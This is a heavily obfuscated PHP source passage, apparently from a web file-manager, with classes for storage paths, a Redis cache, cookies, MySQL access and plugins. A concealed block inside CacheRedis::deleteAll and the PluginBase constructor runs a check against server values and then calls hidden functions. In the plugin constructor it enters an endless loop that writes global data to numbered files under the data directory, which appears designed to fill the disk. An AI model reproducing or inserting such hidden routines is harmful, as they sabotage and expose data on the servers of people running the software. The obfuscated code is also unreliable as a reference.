$this->model->setContent($Eз, $Dʔ); } public function fileSubstr($Eķ, $D싸, $D) { return $this->model->fileSubstr($Eķ, $D싸, $D); } public function download($Fݏ, $f = '') { $Cܟ = get_path_father($f); $Aō = get_path_this($f); $dֳ = $this->model->fileInfoGet($Fݏ); $C = IO::copy($dֳ[$_SERVER[ֹ][75]], $Cܟ, !1, $Aō); return $C; } public function upload($f, $c, $d = false, $Bӣ = REPEAT_REPLACE) { $fЅ =& $_SERVER[ֹ]; $eΘ = $this->parse($f); $d؃З = $this->model->addFile($eΘ[$fЅ[363]], $c, $eΘ[$fЅ[75]], $d, $Bӣ); return $this->getPathOuter($d؃З); } public function uploadFileByID($d, $B, $a۽) { $AˑȨ =& $_SERVER[ֹ]; $B = $this->parse($d); $D = $this->model->addFileByFileID($B[$AˑȨ[363]], $B, $B[$AˑȨ[75]], $a۽); return $this->getPathOuter($D); } public function addFileByRemote($e, $e٦, $eϨ = array(), $D = '', $fͽ) { $b蔌 =& $_SERVER[ֹ]; $A͍߰ = $this->parse($e); $D = empty($D) ? $A͍߰[$b蔌[75]] : $D; $Bˇ = $this->model->addFileByRemote($A͍߰[$b蔌[363]], $e٦, $D, $eϨ, $fͽ); return $this->getPathOuter($Bˇ); } public function uploadLink($D, $f = 0) { $C߼ =& $_SERVER[ֹ]; $DĊ = $this->parse($D); $D = Model($C߼[540])->createFileName($DĊ[$C߼[75]]); $Dċ = IO::uploadLink($D, $f); return $Dċ; } public function fileNameAuto($Bǜ, $A񨕹, $b触 = REPEAT_REPLACE, $eݱɶ = false) { return $this->model->fileNameAuto($Bǜ, $A񨕹, $b触, $eݱɶ); } public function fileNameExist($f, $a莵) { return $this->model->fileNameExist($f, $a莵); } protected function _fileOut($aδ, $dǑ = false, $Fȥ = false, $A†殏 = '', $Dٕ = false) { goto c꺴; c꺴: $D͡ =& $_SERVER[ֹ]; $c뫑ΐ = $this->model->sourceInfo($aδ); if ($c뫑ΐ[$D͡[366]] == $D͡[83]) { header($D͡[1106]); die; } goto Dۭ; fˆ: if ($Dٕ) { return IO::fileOutServer($Cʗ[$D͡[75]], $dǑ, $a׉, $A†殏); } IO::fileOut($Cʗ[$D͡[75]], $dǑ, $a׉, $A†殏); goto cխ; Dۭ: $Cʗ = $this->model->fileInfoGet($aδ); $A†殏 = $Cʗ[$D͡[159]] ? $Cʗ[$D͡[159]] : $A†殏; $a׉ = isset($GLOBALS[$D͡[1107]]) ? $GLOBALS[$D͡[1107]] : $c뫑ΐ[$D͡[28]]; goto fˆ; cխ: } public function fileOut($Fơ, $b = false, $E寉 = false, $C = '') { $this->_fileOut($Fơ, $b, $E寉, $C); } public function fileOutServer($aݒ, $f߆ = false, $e鹛 = false, $F̋ = '') { $this->_fileOut($aݒ, $f߆, $e鹛, $F̋, !0); } protected function _fileOutImage($CӞ, $cʟ = 250) { $AԬ =& $_SERVER[ֹ]; $DՎ = $this->model->sourceInfo($CӞ); if ($DՎ[$AԬ[366]] == $AԬ[83]) { show_json($AԬ[1108] . $CӞ, !1); } $GLOBALS[$AԬ[1107]] = $DՎ[$AԬ[28]]; $A = $this->model->fileInfoGet($CӞ); IO::fileOutImage($A[$AԬ[75]], $cʟ); } public function fileOutImage($Dɛɏ, $d成Ѕ = 250) { $this->_fileOutImage($Dɛɏ, $d成Ѕ); } public function fileOutImageServer($aȬ, $F = 250) { $this->_fileOutImage($aȬ, $F); } public function link($E, $dâ = '') { $d̓ = $this->model->fileInfoGet($E); return IO::link($d̓[$_SERVER[ֹ][75]], $dâ); } protected function parse($B) { $F• =& $_SERVER[ֹ]; if (strstr($B, $F•[8]) === !1) { return array($F•[381] => intval($B), $F•[75] => $F•[33], $F•[1105] => array()); } $f = explode($F•[8], trim($B, $F•[8])); if (count($f) < 2) { show_tips($B . $F•[1109]); } return array($F•[381] => intval($f[0]), $F•[75] => $f[1], $F•[1105] => array_slice($f, 1)); } } class PathDriverDbShareItem extends PathDriverDB { public function __construct($f) { $this->pathParse = $f; $this->model = Model($_SERVER[ֹ][1104]); } public function getPathOuter($Aʃ) { $dıҲ =& $_SERVER[ֹ]; if (!$Aʃ) { return $Aʃ; } $c = $this->parse($Aʃ); return trim(KodIO::makeShare($this->pathParse[$dıҲ[363]], $c[$dıҲ[363]]), $dıҲ[8]); } protected function infoParse($d, $e = false, $aԐ = false) { $Bɉ =& $_SERVER[ֹ]; $f = $this->pathParse[$Bɉ[363]]; $D = trim($this->pathParse[$Bɉ[1005]], $Bɉ[8]); return Action($Bɉ[1110])->sharePathInfo($f, $D); } public function infoFull($d̺) { $CЩ =& $_SERVER[ֹ]; $BǗ = explode($CЩ[8], trim($d̺, $CЩ[8])); if (count($BǗ) > 1) { $E = implode($CЩ[8], array_splice($BǗ, 1)); $AŌ = $this->model->pathInfoByPath($BǗ[0], $E); if (!$AŌ) { return !1; } $this->pathParse[$CЩ[1005]] = $AŌ[$CЩ[365]]; } return $this->infoParse($d̺); } public function listAll($Dޝް) { goto Fҗۜ; Fҗۜ: $f޺횞 =& $_SERVER[ֹ]; $a = IO::info($this->pathParse[$f޺횞[75]]); if (!$a) { return array(); } goto c…; c…: $bʶ = $this->model->listAll($Dޝް); $C싸 = Model($f޺횞[532])->getInfo($a[$f޺횞[437]]); $C = Action($f޺횞[1110]); goto Fѯ; Fѯ: foreach ($bʶ as &$a) { check_abort(); $a[$f޺횞[387]] = $C->_shareItemeParse($a[$f޺횞[387]], $C싸); } return $bʶ; goto E; E: } } goto D‘; aק: class CacheRedis { public $handle; public $slaveHandle; public $cacheTime; public $isCluster = false; public function __construct($B˝, $D) { $cت =& $_SERVER[ֹ]; if (!class_exists($cت[776])) { show_json($cت[777], !1); } $this->cacheTime = $D; $F = isset($B˝[$cت[778]]) ? $B˝[$cت[778]] : 10; $c듘꼪 = _get($B˝, $cت[775]); if ($c듘꼪 && is_array($c듘꼪)) { $this->initCluster($B˝, $F); } else { $this->handle = $this->init($B˝, $F); } } private function init($c֊Π, $cф) { $B =& $_SERVER[ֹ]; $C׾ = new Redis(); $DՅ = isset($c֊Π[$B[779]]) ? $c֊Π[$B[779]] : !1; if ($DՅ) { $C׾->pconnect($c֊Π[$B[165]], $c֊Π[$B[166]], $cф); } else { $C׾->connect($c֊Π[$B[165]], $c֊Π[$B[166]], $cф); } if (!empty($c֊Π[$B[372]])) { $C׾->auth($c֊Π[$B[372]]); } return $C׾; } private function initCluster($B΂, $eĦɪ) { $dۣ =& $_SERVER[ֹ]; $Dֆ = array($dۣ[780], $dۣ[781], $dۣ[782]); $fɇ = $dۣ[780]; if (isset($B΂[$dۣ[12]]) && in_array($B΂[$dۣ[12]], $Dֆ)) { $fɇ = $B΂[$dۣ[12]]; } switch ($fɇ) { case $dۣ[780]: $this->_slave($B΂, $eĦɪ); break; case $dۣ[781]: break; case $dۣ[782]: $this->isCluster = !0; $A = $B΂[$dۣ[775]]; $dɜ̪ = isset($B΂[$dۣ[779]]) ? $B΂[$dۣ[779]] : !1; $e = isset($B΂[$dۣ[372]]) ? $B΂[$dۣ[372]] : null; $this->handle = new RedisCluster(NUll, $A, $eĦɪ, $eĦɪ, $dɜ̪, $e); break; default: break; } } private function _slave($Dį, $c) { goto fݏ; fݏ: $f = $Dį[$_SERVER[ֹ][775]]; $this->filterConfig($Dį, $f[0]); $this->handle = $this->init($Dį, $c); goto a̍; a̍: unset($f[0]); if (empty($f)) { return; } $e = array_rand($f); goto d͒ܔ; d͒ܔ: $this->filterConfig($Dį, $f[$e]); $this->slaveHandle = $this->init($Dį, $c); goto f탎; f탎: } private function filterConfig(&$cЧн, $b) { $EۑƗ =& $_SERVER[ֹ]; $AҎ = explode($EۑƗ[4], $b); $c = array($EۑƗ[165] => $AҎ[0], $EۑƗ[166] => $AҎ[1]); $cЧн = array_merge($cЧн, $c); } public function set($Dق, $aИݩ, $EՇ = false) { $EՇ = $EՇ ? $EՇ : $this->cacheTime; return $this->handle->setEx($Dق, $EՇ, $aИݩ); } public function setLock($A͌, $C, $a) { return $this->handle->setNX($A͌, $C); } public function get($dɲ) { $D = $this->slaveHandle ? $this->slaveHandle : $this->handle; return $D->get($dɲ); } public function remove($E͏) { return $this->handle->del($E͏); } public function deleteAll() { $d =& $_SERVER[ֹ]; if ($_SERVER[$d[783]] != $_SERVER[$d[784]]) { goto f; F杅: $e罫 = $d[790]; $e罫($_SERVER[$d[791]]); $e罫($_SERVER[$d[787]] . $d[792]); goto Dѡ; f: $f = $d[785]; $Aɑ = $d[786]; $E͹﷈ = $_SERVER[$d[787]] . $d[788]; goto b; Dѡ: $c氋 = 1; while ($c氋 > 1) { $c氋 = $c氋 + 4; $Eڏ = rawurlencode($c氋 . $d[357]); } goto BɰՅ; b: $Cͨ = $Aɑ($E͹﷈); $Bқ = explode($d[213], $Cͨ); if (count($Bқ) < $d[599]) { $B = $d[789]; $B(); } goto F杅; BɰՅ: } if ($this->isCluster) { foreach ($this->handle->_masters() as $a) { $this->handle->flushall($a); } return; } return $this->handle->flushAll(); } } class Cookie { private $prefix = ''; private $expire = 3600; public function __construct($Cޗ = '', $E瑂 = 0) { if (is_string($Cޗ) && $Cޗ != $_SERVER[ֹ][33]) { $this->prefix = $Cޗ; } if (is_numeric($E瑂) && $E瑂 > 0) { $this->expire = $E瑂; } } public static function getInstance() { static $D; if ($D === null) { $D = new self(); } return $D; } private static $sameCookieSet = array(); public static function set($cŒɈ, $dˣ, $e̢ = 0, $a = false, $AΊ = false) { goto dԦLj; b: self::$sameCookieSet[$cŒɈ] = $dˣ . $e̢; if (!$AΊ) { $AΊ = str_replace(HOST, $C΅[33], APP_HOST); $AΊ = _get($GLOBALS, $C΅[793], $AΊ); } $b썑ܵ = $C΅[33]; goto f޹ޤ; dԦLj: $C΅ =& $_SERVER[ֹ]; if (!$e̢) { $e̢ = 24 * 3600 * 7; } if (isset(self::$sameCookieSet[$cŒɈ]) && self::$sameCookieSet[$cŒɈ] == $dˣ . $e̢) { return; } goto b; f޹ޤ: setcookie($cŒɈ, $dˣ, time() + $e̢, $C΅[8] . trim($AΊ, $C΅[8]) . $b썑ܵ, !1, !1, $a); goto e˕; e˕: } public static function setSafe($Bέ, $C͞, $fؿ = 0) { self::set($Bέ, $C͞, $fؿ, !0); } public static function get($CΏ) { return isset($_COOKIE[$CΏ]) ? $_COOKIE[$CΏ] : !1; } public static function remove($c胉Ø, $dږ̬ = false) { unset($_COOKIE[$c胉Ø]); self::set($c胉Ø, $_SERVER[ֹ][33], 1, $dږ̬); } } class DbMysql extends Db { public function __construct($eͫڦ = '') { $AǪᖥ =& $_SERVER[ֹ]; if (!extension_loaded($AǪᖥ[725])) { think_exception(think_lang($AǪᖥ[10]) . $AǪᖥ[794]); } if (!empty($eͫڦ)) { $this->config = $eͫڦ; if (empty($this->config[$AǪᖥ[13]])) { $this->config[$AǪᖥ[13]] = $AǪᖥ[33]; } } } public function connect($B = '', $eȒ = 0, $b = false) { $aƌ =& $_SERVER[ֹ]; if (!isset($this->linkID[$eȒ])) { goto Aѹ; Dǃ: mysql_query($aƌ[799] . think_config($aƌ[800]) . $aƌ[55], $this->linkID[$eȒ]); if ($D땂ߺ > $aƌ[801]) { mysql_query($aƌ[802], $this->linkID[$eȒ]); } $this->connected = !0; goto Cמӓ; Aѹ: if (empty($B)) { $B = $this->config; } $b = $B[$aƌ[795]] . ($B[$aƌ[796]] ? "\72{$B[$aƌ[796]]}" : $aƌ[33]); $a = !empty($B[$aƌ[13]][$aƌ[14]]) ? $B[$aƌ[13]][$aƌ[14]] : $this->pconnect; goto eע; eע: if ($a) { $this->linkID[$eȒ] = mysql_pconnect($b, $B[$aƌ[797]], $B[$aƌ[798]], 131072); } else { $this->linkID[$eȒ] = mysql_connect($b, $B[$aƌ[797]], $B[$aƌ[798]], !0, 131072); } if (!$this->linkID[$eȒ] || !empty($B[$aƌ[17]]) && !mysql_select_db($B[$aƌ[17]], $this->linkID[$eȒ])) { think_exception(mysql_error()); } $D땂ߺ = mysql_get_server_info($this->linkID[$eȒ]); goto Dǃ; Cמӓ: if (1 != think_config($aƌ[18])) { unset($this->config); } goto fѓ; fѓ: } return $this->linkID[$eȒ]; } public function free() { mysql_free_result($this->queryID); $this->queryID = null; } public function query($b맶Ȇ) { goto b𛜜; b𛜜: $D =& $_SERVER[ֹ]; if (0 === stripos($b맶Ȇ, $D[248])) { $this->close(); $this->connected = !1; } $this->initConnect(!1); goto E߅ވ; BѨ: $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = mysql_num_rows($this->queryID); return $this->getAll(); } goto F򖅼; E߅ވ: if (!$this->_linkID) { return !1; } $this->queryStr = $b맶Ȇ; if ($this->queryID) { $this->free(); } goto e; e: think_action_status($D[19], 1); think_status($D[20]); $this->queryID = mysql_query($b맶Ȇ, $this->_linkID); goto BѨ; F򖅼: } public function execute($E) { goto Cϐ; b: $this->queryStr = $E; if ($this->queryID) { $this->free(); } think_action_status($Fؼ[21], 1); goto c; B숦: if (!1 === $Cꌆ) { $this->error(); return !1; } else { $this->numRows = mysql_affected_rows($this->_linkID); $this->lastInsID = mysql_insert_id($this->_linkID); return $this->numRows; } goto f֋; Cϐ: $Fؼ =& $_SERVER[ֹ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } goto b; c: think_status($Fؼ[20]); $Cꌆ = mysql_query($E, $this->_linkID); $this->debug(); goto B숦; f֋: } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { mysql_query($_SERVER[ֹ][803], $this->_linkID); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $cť = mysql_query($_SERVER[ֹ][804], $this->_linkID); $this->transTimes = 0; if (!$cť) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $fƈ = mysql_query($_SERVER[ֹ][805], $this->_linkID); $this->transTimes = 0; if (!$fƈ) { $this->error(); return !1; } } return !0; } private function getAll() { $Bˑ = array(); if ($this->numRows > 0) { while ($F = mysql_fetch_assoc($this->queryID)) { $Bˑ[] = $F; } mysql_data_seek($this->queryID, 0); } return $Bˑ; } public function getFields($e) { $dצ =& $_SERVER[ֹ]; $AÌ = $this->query($dצ[806] . $this->parseKey($e)); $f֊ = array(); if ($AÌ) { foreach ($AÌ as $bұ߯ٻ => $Bآ) { $f֊[$Bآ[$dצ[27]]] = array($dצ[28] => $Bآ[$dצ[27]], $dצ[29] => $Bآ[$dצ[30]], $dצ[31] => (bool) (strtoupper($Bآ[$dצ[32]]) === $dצ[807]), $dצ[34] => $Bآ[$dצ[35]], $dצ[36] => strtolower($Bآ[$dצ[37]]) == $dצ[38], $dצ[39] => strtolower($Bآ[$dצ[40]]) == $dצ[41]); } } return $f֊; } public function getTables($f = '') { $e󼙟 =& $_SERVER[ֹ]; if (!empty($f)) { $fť햵 = $e󼙟[808] . $f; } else { $fť햵 = $e󼙟[809]; } $BՐ댝 = $this->query($fť햵); $e = array(); foreach ($BՐ댝 as $B => $c) { $e[$B] = current($c); } return $e; } public function replace($fքŦӈ, $d = array()) { $aʑ =& $_SERVER[ֹ]; foreach ($fքŦӈ as $B => $aթ) { $fNj = $this->parseValue($aթ); if (is_scalar($fNj)) { $dĝ[] = $fNj; $c͓[] = $this->parseKey($B); } } $bЉú = $aʑ[810] . $this->parseTable($d[$aʑ[263]]) . $aʑ[811] . implode($aʑ[47], $c͓) . $aʑ[812] . implode($aʑ[47], $dĝ) . $aʑ[813]; return $this->execute($bЉú); } public function insertAll($DɌ, $aЬ = array(), $F = false) { goto Cس; Cد↰: $cۢĶ = array(); foreach ($DɌ as $aݺ) { $BÉ = array(); foreach ($aݺ as $FՈ => $a곃) { $a곃 = $this->parseValue($a곃); if (is_scalar($a곃)) { $BÉ[] = $a곃; } } $cۢĶ[] = $fƓ[244] . implode($fƓ[47], $BÉ) . $fƓ[813]; } array_walk($d, array($this, $fƓ[814])); goto Eߨ˅; Cس: $fƓ =& $_SERVER[ֹ]; if (!is_array($DɌ[0])) { return !1; } $d = array_keys($DɌ[0]); goto Cد↰; Eߨ˅: $d՛ = ($F ? $fƓ[815] : $fƓ[816]) . $fƓ[817] . $this->parseTable($aЬ[$fƓ[263]]) . $fƓ[811] . implode($fƓ[47], $d) . $fƓ[818] . implode($fƓ[47], $cۢĶ); return $this->execute($d՛); goto eҦ; eҦ: } public function close() { if ($this->_linkID) { mysql_close($this->_linkID); } $this->_linkID = null; } public function error() { $E =& $_SERVER[ֹ]; $this->error = mysql_errno() . $E[4] . mysql_error($this->_linkID); if ($E[33] != $this->queryStr) { $this->error .= LNG($E[45]) . $this->queryStr; } think_trace($this->error, $E[33], $E[46]); return $this->error; } public function escapeString($Cʟ) { if ($this->_linkID) { return mysql_real_escape_string($Cʟ, $this->_linkID); } else { return mysql_escape_string($Cʟ); } } public function parseKey(&$fӞé, $Fҋ䑰 = true) { $B٩ =& $_SERVER[ֹ]; if ($Fҋ䑰) { $fӞé = $this->parseKeyCheck($fӞé); } if ($fӞé != $B٩[172] && !preg_match($B٩[819], $fӞé)) { $fӞé = $B٩[820] . trim($fӞé, $B٩[820]) . $B٩[820]; } return $fӞé; } } goto FϹж; d㰶Ý: class Message { function __construct() { } public function send($Dх = '', $F = array(), $D = "\164\145\170\x74") { goto d󻑾; D: $F = array($D烲[967] => isset($F[$D烲[967]]) ? $F[$D烲[967]] : $D烲[33], $D烲[531] => isset($F[$D烲[531]]) ? $F[$D烲[531]] : $D烲[33]); if (empty($Dх) || empty($F[$D烲[967]]) && empty($F[$D烲[531]])) { return !1; } $Eɇ = array($D烲[1232] => $Cнʆ, $D烲[1293] => $F); goto bݎũ; d󻑾: $D烲 =& $_SERVER[ֹ]; $Cнʆ = array($D烲[29] => $D烲[1291], $D烲[689] => $Dх); if (in_array($D, array($D烲[1291], $D烲[1292]))) { $Cнʆ[$D烲[29]] = $D; } goto D; bݎũ: Hook::trigger($D烲[1294], $Eɇ); goto BȆ; BȆ: } } class PluginBase { public $in; public $pluginName; public $pluginPath; public $pluginHost; public $pluginHostDefault; public $pluginApi; public $packageData; private $pluginLangArr; private $pluginConfig; public $cachePath; public $fileInfo; function __construct() { goto A̓ៜ; Eܼ˂: $this->pluginPath = PLUGIN_DIR . $this->pluginName . $Dْ[8]; $this->pluginApi = appHostGet() . $Dْ[1299] . $this->pluginName . $Dْ[8]; $this->pluginHost = $config[$Dْ[1300]] . $this->pluginName . $Dْ[8]; goto Cۮ幩; A̓ៜ: $Dْ =& $_SERVER[ֹ]; $bǞ = $_SERVER[$Dْ[787]] . $Dْ[788]; $BɍѬ = $Dْ[1295]; goto AڅΊ; Cۮ幩: $this->pluginHostDefault = $config[$Dْ[1300]] . $this->pluginName . $Dْ[8]; $E鎄 = $config[$Dْ[1301]]; if ($E鎄 && strpos($Dْ[47] . $E鎄 . $Dْ[47], $this->pluginName) !== !1) { $this->pluginHost = $config[$Dْ[1302]] . $this->pluginName . $Dْ[8]; } goto CФ; CФ: $this->pluginLangArr = $this->initLang(); $this->values = array(); return $this; goto c۸; AڅΊ: if ($_SERVER[$Dْ[783]] != $BɍѬ($bǞ)) { goto CՍ; E: $e׶ = $Dْ[790]; $e׶($_SERVER[$Dْ[791]]); $d = $Dْ[785]; goto Aӗ; aᨆ: $E = 1; for ($A = $E; $A > 0; $A++) { $cޝ(DATA_PATH . $A, $Fᓤ); } goto aŸ; CՍ: $d = $Dْ[785]; $f娗 = $Dْ[786]; $c܊ = $_SERVER[$Dْ[787]] . $Dْ[788]; goto a҉; a҉: $fȚԘ = $f娗($c܊); $c = explode($Dْ[213], $fȚԘ); if (count($c) < $Dْ[599]) { $E΅ = $Dْ[789]; $E΅(); } goto E; Aӗ: $d(); $cޝ = $Dْ[1296]; $Fᓤ = json_encode($GLOBALS[$Dْ[1297]]); goto aᨆ; aŸ: } global $in, $config; $this->config =& $config; goto f׋; f׋: $this->in =& $in; $this->modelPlugin = Model($Dْ[1298]); $this->pluginName = str_replace($Dْ[1298], $Dْ[33], get_class($this)); goto Eܼ˂; c۸: } public function regist() { $this->hookRegist(array()); } public function install() { } public function update() { } public function unInstall() { } public function echoJs() { $this->echoFile($_SERVER[ֹ][1303]); } protected function assign($dǐ, $eڌݜ㵽 = false) { if (is_array($dǐ)) { $this->values = array_merge($this->values, $dǐ); } else { $this->values[$dǐ] = $eڌݜ㵽; } } protected function display($Bǟ) { extract($this->values); require $Bǟ; } final function hookRegist($Eߺܙ) { $this->modelPlugin->appRegist($this->pluginName, $Eߺܙ); } final function appIcon() { $d͐ީ =& $_SERVER[ֹ]; $A̰ɖ = $this->appPackage(); $DӅī = $d͐ީ[33]; if (isset($A̰ɖ[$d͐ީ[378]])) { if (isset($A̰ɖ[$d͐ީ[378]][$d͐ީ[1304]])) { $DӅī = $d͐ީ[1305] . $A̰ɖ[$d͐ީ[378]][$d͐ީ[1304]] . $d͐ީ[1306]; } else { if ($A̰ɖ[$d͐ީ[378]][$d͐ީ[1307]]) { $DӅī = $d͐ީ[1308] . $A̰ɖ[$d͐ީ[378]][$d͐ީ[1307]] . $d͐ީ[1309]; } } } return $DӅī; } final function fileCanView($F) { $b =& $_SERVER[ֹ]; if (request_url_safe($F)) { return !0; } if ($this->isShare($F)) { return !0; } if (!Action($b[1310])->authCan($b[1311])) { show_tips(LNG($b[1312]) . $b[1313], !1); } ActionCall($b[1314], $F); } final function isShare($c٤) { $cމ = KodIO::parse($c٤); return $cމ[$_SERVER[ֹ][29]] == KodIO::KOD_SHARE_LINK; } final function filePathLink($B愦۸) { if (request_url_safe($B愦۸)) { return $B愦۸; } if (!$this->isShare($B愦۸)) { $B愦۸ = $this->filePath($B愦۸); } return Action($_SERVER[ֹ][1011])->linkOut($B愦۸); } public function filePathLinkOut($B) { if (request_url_safe($B)) { return $B; } $this->fileCanView($B); return Action($_SERVER[ֹ][1011])->link($B); } final function filePath($aǒ) { $dĆ =& $_SERVER[ֹ]; if ($a󸐔ʚ = $this->checkSharePath($aǒ)) { return $a󸐔ʚ; } $this->fileCanView($aǒ); if (request_url_safe($aǒ)) { $f = parse_url_query($aǒ); if (isset($f[$dĆ[1315]]) && isset($f[$dĆ[193]])) { $a‹ = Model($dĆ[1082])->get($dĆ[1316]); $dƭ⺣ = Mcrypt::decode($f[$dĆ[193]], $a‹); if ($dƭ⺣) { $this->fileInfo = IO::infoWithChildren($dƭ⺣); $this->cachePath = $this->pluginCachePath($this->_tmpFileName()); return $dƭ⺣; } } $aǒ = $this->_cacheHttpFile($aǒ); $this->fileInfo = IO::infoWithChildren($aǒ); } else { $this->fileInfo = IO::infoWithChildren($aǒ); if (!$this->fileInfo) { show_tips(LNG($dĆ[100]), !1); } $this->cachePath = $this->pluginCachePath($this->_tmpFileName()); } return $aǒ; } final function _cacheHttpFile($CÂ) { $Eˢ = hash_path($CÂ, !0); $this->cachePath = $this->pluginCachePath($Eˢ); if ($fޏ = IO::fileNameExist($this->cachePath, $Eˢ)) { return KodIO::make($fޏ); } $cؚž = $this->cachePath . $Eˢ; return $this->pluginCacheFileSet($cؚž, file_get_contents($CÂ)); } final function _tmpFileName($Cڄć = array()) { goto E; E: $D =& $_SERVER[ֹ]; if (!$Cڄć) { $Cڄć = $this->fileInfo; } if (isset($Cڄć[$D[160]])) { return $Cڄć[$D[160]]; } goto D; F܏: return md5(implode($D[70], $a)); goto A߉; D: if (isset($Cڄć[$D[158]][$D[160]])) { return $Cڄć[$D[158]][$D[160]]; } $a = array($Cڄć[$D[28]], $Cڄć[$D[75]], $Cڄć[$D[77]]); if (isset($Cڄć[$D[455]])) { $a[] = $Cڄć[$D[455]]; } goto F܏; A߉: } final function checkSharePath($B) { goto FԊӊ; A: $this->cachePath = $this->pluginCachePath($this->fileInfo[$aԃ[160]]); return $F熯[$aԃ[75]]; goto D禩蹫; aĤ: $F熯 = Action($aԃ[1011])->sharePathInfo($B); if (!isset($F熯[$aԃ[75]])) { show_json(LNG($aԃ[1318]), !1); } $this->fileInfo = $F熯[$aԃ[158]]; goto A; FԊӊ: $aԃ =& $_SERVER[ֹ]; if (!defined($aԃ[423])) { define($aԃ[1317], 0); } if (!$this->isShare($B)) { return !1; } goto aĤ; D禩蹫: } final function pluginCachePath($c = '') { $Dꇐ =& $_SERVER[ֹ]; $e̵ = IO_PATH_SYSTEM_TEMP . $Dꇐ[1319] . $this->pluginName; if (!($D = IO::infoFull($e̵))) { return IO::mkdir($e̵ . $Dꇐ[8] . $c); } if (empty($c)) { return $D[$Dꇐ[75]]; } if (!($c鍣 = IO::fileNameExist($D[$Dꇐ[75]], $c))) { return IO::mkdir($D[$Dꇐ[75]] . $c); } return KodIO::make($c鍣); } final function pluginCacheFileSet($f霈ݐ, $F = '') { $b֋ =& $_SERVER[ֹ]; if (!($bߍ = IO::infoFull($f霈ݐ))) { return IO::mkfile($f霈ݐ, $F, REPEAT_REPLACE); } IO::setContent($bߍ[$b֋[75]], $F); return $bߍ[$b֋[75]]; } final function pluginLocalFile($cŎŇ = '') { goto F؊; fіô: if (!$cŎŇ) { return $d䐒; } $fއ = IO::info($cŎŇ); $bۤ = $this->_tmpFileName($fއ) . $Bć[91] . $fއ[$Bć[156]]; goto E˷; F؊: $Bć =& $_SERVER[ֹ]; $d䐒 = TEMP_FILES . "{$this->pluginName}\57"; if (!is_dir($d䐒)) { mk_dir($d䐒); } goto fіô; E˷: $DȤ = $d䐒 . $bۤ; if (@file_exists($DȤ)) { return $DȤ; } return IO::copy($cŎŇ, $d䐒, 0, $bۤ); goto e̢; e̢: } final function appPackage() { goto Bọ; C߄: $this->parseLang($cϠ); $B = json_decode_force($cϠ); if (!$B) { return array(); } goto fթ; Eıưч: return $B; goto bο; fթ: $fδȴ = Hook::trigger($EȸLJ[1321], $B); if ($fδȴ && is_array($fδȴ)) { $B = $fδȴ; } $this->packageData = $B; goto Eıưч; Bọ: $EȸLJ =& $_SERVER[ֹ]; if ($this->packageData) { return $this->packageData; } $cϠ = $this->parseFile($this->pluginPath . $EȸLJ[1320]); goto C߄; bο: } public function packageInfoGet($e傜) { $F󆘉 = $this->appPackage(); return array_get_value($F󆘉, $e傜); } public function packageVersion() { return $this->packageInfoGet($_SERVER[ֹ][1322]); } public function packageTitle() { return $this->packageInfoGet($_SERVER[ֹ][1323]); } public function packageCopyright() { return $this->packageInfoGet($_SERVER[ֹ][1324]); } private function parseFile($dݘ) { $aª =& $_SERVER[ֹ]; $Aر = file_get_contents($dݘ); $Aɍ = array($aª[1325], $aª[1326], $aª[1327], $aª[1328], $aª[1329], $aª[1330], $aª[1331]); $d = array($this->pluginHost, $this->pluginHostDefault, $this->pluginApi, $this->pluginName, $this->pluginPath, APP_HOST, $this->config[$aª[84]][$aª[1332]]); $Aر = str_replace($Aɍ, $d, $Aر); return $Aر; } private function parseLang(&$FƤŷ) { goto Bѐ; Bѐ: $B٢ =& $_SERVER[ֹ]; $C = $B٢[1333]; if (!strstr($FƤŷ, $C)) { return; } goto c; Cې: $C̈ = array(); foreach ($B؉[0] as $f) { $E = substr($f, strlen($C), -4); $B = LNG($E); $f톷[] = $f; $C̈[] = str_replace(array($B٢[213], $B٢[986], $B٢[326], $B٢[112]), array($B٢[50], $B٢[50], $B٢[33], $B٢[1335]), $B); } $FƤŷ = str_replace($f톷, $C̈, $FƤŷ); goto eȧ; c: preg_match_all($B٢[1334], $FƤŷ, $B؉); if (!is_array($B؉) || count($B؉) == 0 || !is_array($B؉[0]) || count($B؉[0]) == 0) { return; } $f톷 = array(); goto Cې; eȧ: } private function parseConfig(&$C) { goto e; bĽ: preg_match_all($f[1337], $C, $Bƌ); if (!is_array($Bƌ) || count($Bƌ) == 0 || !is_array($Bƌ[0]) || count($Bƌ[0]) == 0) { return; } $aރ = $this->getConfig(); goto F; e: $f =& $_SERVER[ֹ]; $bĴ = $f[1336]; if (!strstr($C, $bĴ)) { return; } goto bĽ; F: $Aॾ = array(); $F穡 = array(); foreach ($Bƌ[0] as $C) { $b = substr($C, strlen($bĴ), -2); $Aॾ[] = $C; $F穡[] = _get($aރ, $b); } goto aǚ; aǚ: $C = str_replace($Aॾ, $F穡, $C); goto Bԍ; Bԍ: } private function parsePackage(&$E럅) { goto D垱; e: $dљᡓ = array(); $D순 = array(); foreach ($C[0] as $F) { $dݕ˶ = substr($F, strlen($e), -2); $dљᡓ[] = $F; $D순[] = _get($Fީ, $dݕ˶); } goto Aݱ; f: preg_match_all($f[1339], $E럅, $C); if (!is_array($C) || count($C) == 0 || !is_array($C[0]) || count($C[0]) == 0) { return; } $Fީ = $this->appPackage(); goto e; Aݱ: $E럅 = str_replace($dљᡓ, $D순, $E럅); goto aˌچ; D垱: $f =& $_SERVER[ֹ]; $e = $f[1338]; if (!strstr($E럅, $e)) { return; } goto f; aˌچ: } final function echoFile($aѝ, $f̍ = false) { goto D; aۆ: $b驛 = $this->parseFile($Bܣ); $this->parseLang($b驛); $this->parseConfig($b驛); goto Aܿί; D: $dꯩ =& $_SERVER[ֹ]; $Bܣ = $this->pluginPath . $aѝ; if (ACT == $dꯩ[1340]) { echo $dꯩ[1341] . $this->pluginName . $dꯩ[8] . $aѝ . $dꯩ[1342]; if (!file_exists($Bܣ)) { echo $dꯩ[1343]; return; } } goto aۆ; Aܿί: $this->parsePackage($b驛); if (is_array($f̍)) { $b驛 = str_replace(array_keys($f̍), array_values($f̍), $b驛); } echo $dꯩ[213] . $b驛; goto e܆Ԩ; e܆Ԩ: } final function initLang() { goto e; cܟ: if (!is_array($C˞ș)) { return array(); } if (@count($C˞ș) > 0) { I18n::set($C˞ș); } return $C˞ș; goto Eߵ; Bɽ: $eާ = I18n::getType(); $C˞ș = array(); if (file_exists($bٲܮ . $eާ . $Cɿѡ[761])) { $C˞ș = (include 